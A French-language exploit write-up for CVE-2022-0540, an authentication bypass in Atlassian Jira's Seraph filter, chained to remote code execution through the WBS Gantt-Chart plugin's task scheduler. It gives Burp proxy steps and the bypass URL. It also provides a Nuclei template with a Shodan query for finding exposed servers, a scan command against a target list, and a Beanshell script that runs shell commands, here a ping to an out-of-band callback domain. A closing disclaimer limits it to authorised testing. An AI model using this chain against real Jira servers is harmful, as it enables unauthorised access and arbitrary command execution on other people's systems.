
Contournement de l'authentification Seraph d'Atlassian Jira et RCE(CVE-2022-0540)
Comme le montre le blog de l'auteur, Atlassian a fourni une longue liste de plugins affectés (dont la grande majorité étaient des faux positifs), et l'auteur a répertorié plusieurs plugins réellement affectés.

Selon les conditions indiquées, combinées à la documentation officielle de WBS Gantt-Chart for Jira

Essentiellement, il s'agit d'une RCE utilisant le script Beanshell du module Task du planificateur de tâches ; les détails de l'exploit sont les suivants.
Proxy > Options > Match and Replace, modifier la règle.
http://IP:PORT/secure/WBSGanttManageScheduleJobAction.jspa; puis vous pouvez vérifier la job scheduler configuration.
Étant donné que notre script Beanshell final est exécuté comme une tâche planifiée, vous pouvez modifier l'intervalle d'exécution pour plus de commodité en cliquant sur Modifier et en le modifiant selon le format Cron.


Après la configuration, cliquez sur Mettre à jour mais vous serez redirigé vers la page de connexion ; ne vous inquiétez pas, la tâche a en réalité été ajoutée en arrière-plan.

La tâche nouvellement créée est désactivée par défaut ; vous devez la passer manuellement à Activé, puis attendre quelques secondes que le script s'exécute.

En même temps, vous pouvez voir l'invite indiquant que l'exécution est terminée dans le planificateur de tâches.

Conditions préalables
WBS Gantt-Chart for Jira <= 9.14.3.1
id: CVE-2022-0540
info:
name: Atlassian Jira Seraph - Authentication Bypass Verify Exploitable(CVE-2022-0540)
author: DhiyaneshDK
severity: critical
description: |
Jira Seraph allows a remote, unauthenticated attacker to bypass authentication by sending a specially crafted HTTP request. This affects Atlassian Jira Server and Data Center versions before 8.13.18, versions 8.14.0 and later before 8.20.6, and versions 8.21.0 and later before 8.22.0. This also affects Atlassian Jira Service Management Server and Data Center versions before 4.13.18, versions 4.14.0 and later before 4.20.6, and versions 4.21.0 and later before 4.22.0.
reference:
- https://blog.viettelcybersecurity.com/cve-2022-0540-authentication-bypass-in-seraph/
- https://nvd.nist.gov/vuln/detail/CVE-2022-0540
- https://confluence.atlassian.com/display/JIRA/Jira+Security+Advisory+2022-04-20
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-0540
cwe-id: CWE-287
metadata:
shodan-query: http.component:"Atlassian Jira"
tags: cve,cve2022,atlassian,jira,exposure,auth-bypass
requests:
- method: GET
path:
- '{{BaseURL}}/secure/WBSGanttManageScheduleJobAction.jspa;'
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'WBS Gantt-Chart'
- type: regex
regex:
- '<td headers="name">([.|\D]*?)</td>'
dsl: []
- type: status
status:
- 200
Démo d'exécution
nuclei -l targets.txt -t exploit.yaml
Capture d'écran

https://blog.viettelcybersecurity.com/cve-2022-0540-authentication-bypass-in-seraph/
Script Beanshell
import java.io.IOException;
import java.lang.*;
Runtime runtime = Runtime.getRuntime();
try {
String command = "ping -nc 1 55d2721a.dns.1433.eu.org";
if (System.getProperty("os.name").toLowerCase().contains("windows")) {
runtime.exec(new String[]{"cmd.exe", "/c", command});
} else {
runtime.exec(new String[]{"/bin/bash", "-c", command});
}
} catch (IOException e) {
e.printStackTrace();
}
Les informations mentionnées dans cet article sont destinées uniquement à des tests d'intrusion légitimes et autorisés, à des vérifications de sécurité internes et à des fins de recherche. L'utilisateur est responsable de toute conséquence néfaste découlant de l'utilisation des informations fournies dans cet article.